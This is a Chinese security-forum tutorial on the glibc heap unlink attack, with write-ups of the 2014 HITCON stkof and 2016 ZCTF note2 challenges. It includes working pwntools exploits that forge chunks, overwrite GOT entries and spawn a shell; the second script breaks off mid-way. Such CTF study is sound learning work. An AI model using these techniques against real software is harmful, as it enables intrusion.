[原创]堆学习：Unlink attack-Pwn-看雪安全社区｜专业技术交流与安全研究论坛

# 参考
<a href="elink@aadK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3S2W2j5i4m8Q4x3V1k6H3N6r3#2S2L8r3I4G2j5K6u0Q4x3V1k6A6L8i4m8D9k6h3#2W2L8Y4c8S2N6r3W2G2L8W2)9J5c8X3u0S2M7$3W2U0i4K6u0r3">c24K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3S2W2j5i4m8Q4x3V1k6H3N6r3#2S2L8r3I4G2j5K6u0Q4x3V1k6A6L8i4m8D9k6h3#2W2L8Y4c8S2N6r3W2G2L8W2)9J5c8X3u0S2M7$3W2U0i4K6u0r3</a>

---

# 基础知识
## 什么是 Unlink？
在 Linux 的 glibc 堆管理机制中，unlink是一个核心操作，其字面意思为“脱链”。当堆管理器释放某一 chunk时，如果发现其相邻的 chunk 处于空闲状态，便会尝试将这两个 chunk 合并成一个更大的空闲 chunk。为了完成合并，就需要将相邻的空闲 chunk 从其所在的双向链表（例如 small bins、unsorted bins 等）中取出，这个“取出”的过程就是unlink。

以下两段代码分别是free时的后向合并和前向合并，可以看到都有unlink操作

```python
        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }
```

```python
        // 如果下一个chunk不是top chunk
        if (nextchunk != av->top) {
            /* get and clear inuse bit */
            // 获取下一个 chunk 的使用状态
            nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
            // 如果不在使用，合并，否则清空当前chunk的使用状态。
            /* consolidate forward */
            if (!nextinuse) {
                unlink(av, nextchunk, bck, fwd);
                size += nextsize;
        }
```

## Unlink 的攻击原理（Unlink Attack）
Unlink 攻击的核心在于，通过漏洞（如堆溢出、off-by-one 等）篡改堆块的关键元数据，伪造一个“看似合法”的空闲 chunk 结构。当程序后续进行unlink操作时，会按照我们伪造的指针执行写入操作，从而实现**任意地址写**。

以下这段源码是从ctfwiki复制过来的，我觉得里面的注释已经很详细了

```python
/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {                                            \
    // 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
    FD = P->fd;                                                                      \
    BK = P->bk;                                                                      \
    // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                                                      \
        FD->bk = BK;                                                              \
        BK->fd = FD;                                                              \
        // 下面主要考虑 P 对应的 nextsize 双向链表的修改
        if (!in_smallbin_range (chunksize_nomask (P))                              \
            // 如果P->fd_nextsize为 NULL，表明 P 未插入到 nextsize 链表中。
            // 那么其实也就没有必要对 nextsize 字段进行修改了。
            // 这里没有去判断 bk_nextsize 字段，可能会出问题。
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      \
            // 类似于小的 chunk 的检查思路
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);                                              \
            // 这里说明 P 已经在 nextsize 链表中了。
            // 如果 FD 没有在 nextsize 链表中
            if (FD->fd_nextsize == NULL) {                                      \
                // 如果 nextsize 串起来的双链表只有 P 本身，那就直接拿走 P
                // 令 FD 为 nextsize 串起来的
                if (P->fd_nextsize == P)                                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;                      \
                else {                                                              \
                // 否则我们需要将 FD 插入到 nextsize 形成的双链表中
                    FD->fd_nextsize = P->fd_nextsize;                              \
                    FD->bk_nextsize = P->bk_nextsize;                              \
                    P->fd_nextsize->bk_nextsize = FD;                              \
                    P->bk_nextsize->fd_nextsize = FD;                              \
                  }                                                              \
              } else {                                                              \
                // 如果在的话，直接拿走即可
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      \
              }                                                                      \
          }                                                                      \
      }                                                                              \
}
```

分别对应以下三个检查

```python
// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

// largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);
```

针对这些检查，攻击者需要精心构造 fd和 bk指针来绕过。一个经典的绕过方法是：将伪造 chunk 的 fd指针设置为 &target_address - 0x18。将 bk指针设置为 &target_address - 0x10。这样，在检查 FD->bk（即 *(fd + 0x18)）和 BK->fd（即 *(bk + 0x10)）时，计算出的地址都恰好指向 target_address本身，如果 target_address处存储的正是指向这个伪造 chunk 的指针 P，检查就能被绕过。随后，unlink操作会执行 FD->bk = BK和 BK->fd = FD，其最终效果是将 target_address处的值修改为 &target_address - 0x18。如果 target_address是某个全局函数指针（如 free@got）或重要数据，攻击者就获得了修改它的能力。具体操作可以看例题一的分析过程。

```python
wget https://launchpadlibrarian.net/353523729/libc6_2.23-0ubuntu10_amd64.deb
dpkg -x libc6_2.23-0ubuntu10_amd64.deb libc6_2.23-0ubuntu10_amd64
patchelf --set-interpreter ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/ld-2.23.so ./源程序
patchelf --replace-needed libc.so.6 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so ./源程序
```

# 2014_hitcon_stkof
查看保护，Partial RELRO说明got表可写

![](upload/attach/202603/1002337_SB44VH3ZF4RM96Z.png)

从main函数可以看到v3有4种取值：1 2 3 4

```python
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v5; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

v7 = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(nptr, 10, stdin) )
  {
    v3 = atoi(nptr);
    if ( v3 == 2 )
    {
      v5 = sub_4009E8();
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = sub_400B07();
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = sub_400BA9();
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = sub_400936();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}
```

当v3=1时，可以申请自定义大小的内存，返回的数据部分地址存入了全局变量s，dword_602100是已申请的个数。(&::s)[++dword_602100] = v2等价于dword_602100+=1;s[dword_602100]=v2;

```python
__int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  (&::s)[++dword_602100] = v2;
  printf("%d\n", (unsigned int)dword_602100);
  return 0LL;
}
```

第一次申请时，就是把返回的地址存入0x602148这个位置，也就是s[1]，从1开始存。

![](upload/attach/202603/1002337_EHCCH4UCW7A4DJB.png)

当v3=2时，可以自定义写入内存的长度，存在堆溢出，可以覆写高地址chunk的内容。

```python
__int64 sub_4009E8()
{
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v2 = atol(s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[v2] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  n = atoll(s);
  ptr = (&::s)[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}
```

当v3=3，就是一个free chunk的功能，没啥毛病

```python
__int64 sub_400B07()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v1 = atol(s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[v1] )
    return 0xFFFFFFFFLL;
  free((&::s)[v1]);
  (&::s)[v1] = 0LL;
  return 0LL;
}
```

当v3=4时，emmmm好像啥也没用

```python
__int64 sub_400BA9()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
 fgets(s, 16, stdin);
 v1 = atol(s);
 if ( v1 > 0x100000 )
 return 0xFFFFFFFFLL;
 if ( !(&::s)[v1] )
 return 0xFFFFFFFFLL;
 if ( strlen((&::s)[v1]) <= 3 )
 puts("//TODO");
 else
 puts("...");
 return 0LL;
}
```

看了这四个函数之后，可以知道v3=1时是一个申请内存的功能，v3=2时是往内存里写东西，存在堆溢出，v3=3时是回收内存，v3=4啥也没用。

## 思路
+ 利用 unlink 修改 s[2] 为 &s[2]-0x18。
+ 利用编辑功能修改 s[0] 为 free@got 地址， s[1] 为 puts@got 地址，s[2]为 atoi@got 地址。
+ 利用编辑功能把free@got内容改成put@plt地址，从而当再次调用free函数时，即可直接调用 puts 函数。这样就可以泄漏libc基址
+ free s[1]，即泄漏 puts@got 内容，从而知道 system 函数地址。
+ 修改atoi@got为 system 函数地址，接着输入 /bin/sh，atoi("/bin/sh")就变成了system("/bin/sh")。

## 分析过程
```python
def malloc(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    io.recvuntil(b"OK\n")
def edit(index,size,payload):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(payload)
    io.recvuntil(b"OK\n")
def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
```

先写下三个函数的交互

```python
s = 0x602140 #s的地址
ptr = 0x602140 + 0x10 #&s[2]
malloc(0x20) # 这个大小随意
malloc(0x30)
malloc(0x80) # 这个要大于fastbin的最大值，不然没法触发unlink
```

先申请三个内存，数据部分大小分别是0x20，0x30，0x80，记为chunk1，chunk2，chunk3 。chunk2和chunk3是相邻的chunk

![](upload/attach/202603/1002337_9UQH4S8AN3QXH89.png)

```python
payload = p64(0) # fake chunk的presize
payload += p64(0x20) # fake chunk的size
payload += p64(ptr - 0x18) # fake chunk的fd，即&s[2]-0x18
payload += p64(ptr - 0x10) # fake chunk的bk，即&s[2]-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P)这个检查
payload = payload.ljust(0x30,b'a')
payload += p64(0x30) # chunk3的presize
payload += p64(0x90) # chunk3的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
edit(2,len(payload),payload)
```

接着利用编辑功能往chunk2写入内容，主要是伪造一个fake chunk，绕过unlink的两个检查，修改chunk3的inuse标志位。

![](upload/attach/202603/1002337_D4R9ZZ3B2XXYV2F.png)

```python
free(3)
io.recvuntil(b"OK\n")
```

接着我们free chunk3，因为chunk3的size大于fastbin的最大值，所以不会放入fastbin，而且inuse标志位被我们改成了0，此时就会后向合并触发unlink，会把p-presize的chunk出链，这里的p指的是chunk3，也就是0x1f8bc490-0x30=0x1f8bc460，刚好是我们伪造的fake chunk。后向合并对应源码这个部分。

之后就会触发unlink了，unlink的时候会有三个检查，因为chunk3不是largebin，我们注意绕过前两个检查就行。也就是以下源码的前两个if

```python
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");    
```

第一个检查是chunksize(P) != prev_size (next_chunk(P))，这里的P指的是fake chunk，左边的chunksize(P)是0x20，右边的prev_size(nextchunk(P))就是P+size位置，带入我们刚才的地址，p+size也就是0x1f8bc460+0x20=0x1f8bc480，这个位置的值可不就是0x20，成功绕过了。

![](upload/attach/202603/1002337_EJP34DVTYS2958R.png)

```python
    FD = P->fd;                                                                      \
    BK = P->bk;                                                                      \
    // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                                                      \
        FD->bk = BK;                                                              \
        BK->fd = FD;   
```

接下来看第二个检查，我们先跟着这个源码走，代入我们的payload。这里的P指的是fake chunk的地址，FD = P->fd = &s[2] - 0x18；接着BK = P->bk = &s[2] - 0x10

fd指针是在chunk的0x10偏移处，bk指针是在chunk的0x18偏移处，那么 __builtin_expect (FD->bk != P || BK->fd != P, 0)这个检查里 FD->bk = FD + 0x18 = s[2]；BK -> fd = BK + 0x10 = s[2]；此时s[2]存储的是fake chunk的地址也就是P，那这个检查不就饶过了吗！

接着看下面的操作FD->bk = BK；从上面分析过程我们知道 FD ->bk = s[2]；BK = &s[2]-0x10；那FD->bk = BK不就变成了s[2] = &s[2]-0x10，就是把s[2]的内容变成了s的首地址

再看BK->fd = FD;  从上面分析过程我们知道BK->fd=s[2]；FD = &s[2]-0x18；那BK->fd = FD不就变成了s[2] =&s[2]-0x18。我们也就实现了s[2]的内容是s-0x8的地址。

free(3)之后我们可以看到s[2]的内容变成了0x602138

![](upload/attach/202603/1002337_PXRBVX58FPAJ42S.png)

```python
payload = b'a'*0x8 + p64(elf.got["free"]) + p64(elf.got["puts"]) + p64(elf.got["atoi"])
edit(2,len(payload),payload)
```

接着我们编辑s[2]就是相当于修改s数组的内容，而且是从s-0x8开始写，上面的payload，就是修改 s[0] 为 free@got 地址， s[1] 为 puts@got 地址，s[2]为 atoi@got 地址。

![](upload/attach/202603/1002337_VN6Q7WWVNNEZ8SN.png)

![](upload/attach/202603/1002337_XAS356UYSCWNJTA.png)

```python
payload = p64(elf.plt["puts"])
edit(0,len(payload),payload)
free(1)
puts_addr = u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
log.info(hex(puts_addr))
```

再接着编辑s[0]，也就是修改free@got，我们改成put@plt,这样当free(1)时就变成了puts(puts@got)，打印puts@got的内容，泄露libc基址

![](upload/attach/202603/1002337_P6V6DJAHBZU7YYC.png)

![](upload/attach/202603/1002337_K8ZZDER4S49NZQR.png)

```python
base = puts_addr - libc.symbols["puts"]
system = base + libc.symbols["system"]
payload = p64(system)
edit(2,len(payload),payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
```

接着我们就是根据泄露的libc基址，计算system的地址，编辑s[2]就是编辑atoi@got的内容，改成system的地址，这样当我们输入/bin/sh时，atoi("/bin/sh")就变成了system("/bin/sh")，成功拿到shell

![](upload/attach/202603/1002337_74EKHZ22EC843M6.png)

## EXP
```python
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
io = process("stkof")
#gdb.attach(io,"b *0x400C8A")
elf = ELF("stkof")
libc = ELF("libc.so.6")
def malloc(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    io.recvuntil(b"OK\n")
def edit(index,size,payload):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(payload)
    io.recvuntil(b"OK\n")
def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
s = 0x602140 #s的地址
ptr = 0x602140 + 0x10 #&s[2]
#pause()
malloc(0x20) # 这个大小随意
malloc(0x30)
malloc(0x80) # 这个要大于fastbin的最大值，不然没法触发unlink
payload = p64(0) # fake chunk的presize
payload += p64(0x20) # fake chunk的size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(ptr - 0x18) # fake chunk的fd，即&s[2]-0x18
payload += p64(ptr - 0x10) # fake chunk的bk，即&s[2]-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload = payload.ljust(0x30,b'a')
payload += p64(0x30) # chunk3的presize
payload += p64(0x90) # chunk3的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
edit(2,len(payload),payload)
free(3)
io.recvuntil(b"OK\n")
payload = b'a'*0x8 + p64(elf.got["free"]) + p64(elf.got["puts"]) + p64(elf.got["atoi"])
edit(2,len(payload),payload)
payload = p64(elf.plt["puts"])
edit(0,len(payload),payload)
free(1)
puts_addr = u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
log.info(hex(puts_addr))
base = puts_addr - libc.symbols["puts"]
system = base + libc.symbols["system"]
payload = p64(system)
edit(2,len(payload),payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
```

# 2016 ZCTF note2
查看保护，Partial RELRO表明got表可写

![](upload/attach/202603/1002337_Y5Z5SMV94VJP8A7.png)

从main函数可以看到是一个菜单题，有四个功能分别时new note，show note，edit note，delete note

```python
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  sub_4009BD((__int64)&unk_6020E0, 64LL, '\n');
  puts("Input your address:");
  sub_4009BD((__int64)&unk_602180, 96LL, 10);
  while ( 1 )
  {
    switch ( (unsigned int)sub_400AFB() )
    {
      case 1u:
        sub_400B96();
        break;
      case 2u:
        sub_400CE6();
        break;
      case 3u:
        sub_400D43();
        break;
      case 4u:
        sub_400C67();
        break;
      case 5u:
        puts("Bye~");
        exit(0);
      case 6u:
        exit(0);
      default:
        continue;
    }
  }
}
__int64 sub_400AFB()
{
  puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return sub_400A4A();
}
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

for ( i = 0LL; a2 - 1 > i; ++i )
 {
 v7 = read(0, &buf, 1uLL);
 if ( v7 <= 0 )
 exit(-1);
 if ( buf == a3 )
 break;
 *(_BYTE *)(i + a1) = buf;
 }
 *(_BYTE *)(a1 + i) = 0;
 return i;
}
```

看功能一，new note，可以自定义申请的内存大小，但是不超过0x80，接着还可以往内存里输入内容，过滤"%"，不过过滤这个可以用\0截断绕过，接着就是把申请的内存地址放入ptr数组里，size放入qword_602140数组里，最多只能申请四次，id是从0开始的。sub_4009BD((__int64)size_4, size, 10);这里有个漏洞，这个函数源码看上面，函数里i定义的是无符号数，而a2是有符号整数，因此a2-1 > i 比较时会将a2-1转为无符号数，如果我们设置a2为0，也就是内存的size为0，那么a2-1就变成-1，-1在无符号数里是很大的，我们就可以输入很长的内容，而因为我们输入的size是0，malloc(0)会自动分配0x20大小的chunk，因为能分配的最小chunk大小是0x20，那我们就可以实现堆溢出了。

```python
int sub_400B96()
{
  unsigned int v1; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]
  void *size_4; // [rsp+8h] [rbp-8h]

if ( (unsigned int)dword_602160 > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = sub_400A4A();
  if ( size > 0x80 )
    return puts("Too long");
  size_4 = malloc(size);
  puts("Input the note content:");
  sub_4009BD((__int64)size_4, size, 10);
  sub_400B10(size_4);
  *(&ptr + (unsigned int)dword_602160) = size_4;
  qword_602140[dword_602160] = size;
  v1 = dword_602160++;
  return printf("note add success, the id is %d\n", v1);
}
//这个函数会过滤掉%符号
const char *__fastcall sub_400B10(const char *a1)
{
  const char *result; // rax
  int i; // [rsp+18h] [rbp-18h]
  int v3; // [rsp+1Ch] [rbp-14h]

v3 = 0;
 for ( i = 0; i <= strlen(a1); ++i )
 {
 if ( a1[i] != '%' )
 a1[v3++] = a1[i];
 }
 result = &a1[v3];
 *result = 0;
 return result;
}
```

看功能二，也就是打印note的内容

```python
int sub_400CE6()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

puts("Input the id of the note:");
 LODWORD(v0) = sub_400A4A();
 v2 = v0;
 if ( (unsigned int)v0 <= 3 )
 {
 v0 = (__int64)*(&ptr + (int)v0);
 if ( v0 )
 LODWORD(v0) = printf("Content is %s\n", (const char *)*(&ptr + v2));
 }
 return v0;
}
```

看功能三，这里就是选择对note的内容进行覆写操作还是追加操作，就是修改note的内容而已。

```python
unsigned __int64 sub_400D43()
{
  _BYTE *v0; // rbx
  int v2; // [rsp+8h] [rbp-E8h]
  int v3; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v5; // [rsp+18h] [rbp-D8h]
  char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
  void *v7; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v8; // [rsp+D8h] [rbp-18h]

v8 = __readfsqword(0x28u);
 if ( dword_602160 )
 {
 puts("Input the id of the note:");
 v2 = sub_400A4A();
 if ( (unsigned int)v2 <= 3 )
 {
 src = (char *)*(&ptr + v2);
 v5 = qword_602140[v2];
 if ( src )
 {
 puts("do you want to overwrite or append?[1.overwrite/2.append]");
 v3 = sub_400A4A();
 if ( v3 == 1 || v3 == 2 )
 {
 if ( v3 == 1 )
 dest[0] = 0;
 else
 strcpy(dest, src);
 v7 = malloc(0xA0uLL);
 strcpy((char *)v7, "TheNewContents:");
 printf((const char *)v7);
 sub_4009BD((__int64)v7 + 15, 144LL, 10);
 sub_400B10((const char *)v7 + 15);
 v0 = v7;
 v0[v5 - strlen(dest) + 14] = 0;
 strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
 strcpy(src, dest);
 free(v7);
 puts("Edit note success!");
 }
 else
 {
 puts("Error choice!");
 }
 }
 else
 {
 puts("note has been deleted");
 }
 }
 }
 else
 {
 puts("Please add a note!");
 }
 return __readfsqword(0x28u) ^ v8;
}
```

功能四就是删除note回收内存。

```python
int sub_400C67()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

puts("Input the id of the note:");
 LODWORD(v0) = sub_400A4A();
 v2 = v0;
 if ( (unsigned int)v0 <= 3 )
 {
 v0 = (__int64)*(&ptr + (int)v0);
 if ( v0 )
 {
 free(*(&ptr + v2));
 *(&ptr + v2) = 0LL;
 qword_602140[v2] = 0LL;
 LODWORD(v0) = puts("delete note success!");
 }
 }
 return v0;
}
```

## 思路
+ 利用 unlink 修改 ptr[1] 为 &ptr[1]-0x18。
+ 利用new note的堆溢出修改ptr[0]为atoi@got地址。
+ 利用show note能把atoi@got内容打印出来，这样就可以泄漏libc基址。
+ 利用edit功能修改ptr[0]也就是atoi@got为 system 函数地址，接着输入 /bin/sh，atoi("/bin/sh")就变成了system("/bin/sh")。

## 分析过程
```python
def new(size,payload):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'1')
    io.recvuntil(b"Input the length of the note content:(less than 128)\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Input the note content:\n")
    io.sendline(payload)
def show(index):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'2')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"Content is ")
    content = u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
    return content
def edit(index,payload):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'3')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    io.sendline(b'1')
    io.recvuntil(b":")
    io.sendline(payload)
def delete(index):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'4')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    
```

先写下菜单的交互

```python
ptr = 0x0000000000602120
io.recvuntil(b"\n")
io.sendline(b'aa')
io.recvuntil(b"\n")
io.sendline(b'aa')
new(0,b'aa') #chunk0
new(0x30,b'aa') #chunk1
new(0x80,b'aa') #chunk2
```

利用new功能申请三个内存，注意malloc(0)会分配最小chunk也就是0x20，分别分配了0x20，0x40，0x90大小的chunk，记为chunk0，chunk1，chunk2

![](upload/attach/202603/1002337_42TBG59TXDFYT53.png)

```python
delete(0)
```

删除note0，此时chunk0会放入fastbin

![](upload/attach/202603/1002337_VX9JVH7T8AEV72Y.png)

```python
payload = b'a'*0x10
payload += p64(0)+p64(0x41) #chunk1的presize和size
payload += p64(0) # fake chunk的presize
payload += p64(0x20) # fake chunk的size
payload += p64(ptr + 0x8 - 0x18) # fake chunk的fd，即&ptr[1]-0x18
payload += p64(ptr + 0x8 - 0x10) # fake chunk的bk，即&ptr[1]-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload += b'a'*0x8
payload += p64(0x30) # chunk2的presize
payload += p64(0x90) # chunk2的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
new(0,payload) #这里是prt[3]，但是分配的chunk还是chunk0，这里利用堆溢出修改chunk1和chunk2
```

接着我们重新申请一个内存，分配的chunk其实还是chunk0，这里利用堆溢出能够覆盖chunk2和chunk3的内容

![](upload/attach/202603/1002337_XDASNPX9BWG4JKK.png)

![](upload/attach/202603/1002337_CMNTSWC2JBJ3GBG.png)

```python
delete(2) #触发unlink
```

此时我们回收note2，就可以触发unlink，使得ptr[1] = &ptr[1] - 0x18，具体unlink的分析过程可以看第一个例题，其实都差不多，这里就不赘述了。

![](upload/attach/202603/1002337_S53RYAJ72HS7FQM.png)

```python
payload = b'a'*0x18 + p64(elf.got["atoi"])
edit(1,payload) #通过unlink可以把ptr[1]改写成&ptr[1]-0x18，因此这里就是修改prt数组的内容，把prt[0]改成atoi@got
```

此时我们利用程序的edit功能，修改ptr[1]的内容为atoi@got

![](upload/attach/202603/1002337_8J4DBCFASB7NDBV.png)

```python
atoi_addr = show(1) # 泄露atoi@got内容就知道libc基址了
log.info(hex(atoi_addr))
```

接着我们就可以用show功能打印prt[1]也就是atoi@got的内容

![](upload/attach/202603/1002337_FHHPAD4QEFKD5TA.png)

```python
base = atoi_addr - libc.symbols["atoi"]
system = base + libc.symbols["system"]
payload = p64(system)
edit(1,payload)# 将atoi@got内容改写成system函数地址
io.recvuntil(b'\n')
io.sendline(b'/bin/sh\x00')
io.interactive()
```

接下来就是计算libc偏移，将atoi@got改成system地址了，最后atoi("/bin/sh")变成了system("/bin/sh")

## EXP
```python
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
io = process("note2")
#gdb.attach(io,"b *0x401021")
elf = ELF("note2")
libc = ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so")
def new(size,payload):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'1')
    io.recvuntil(b"Input the length of the note content:(less than 128)\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Input the note content:\n")
    io.sendline(payload)
def show(index):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'2')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"Content is ")
    content = u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
    return content
def edit(index,payload):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'3')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    io.sendline(b'1')
    io.recvuntil(b":")
    io.sendline(payload)
def delete(index):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'4')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    
ptr = 0x0000000000602120
#pause()
io.recvuntil(b"\n")
io.sendline(b'aa')
io.recvuntil(b"\n")
io.sendline(b'aa')
new(0,b'aa') #chunk0
new(0x30,b'aa') #chunk1
new(0x80,b'aa') #chunk2
delete(0)
payload = b'a'*0x10
payload += p64(0)+p64(0x41) #chunk1的presize和size
payload += p64(0) # fake chunk的presize
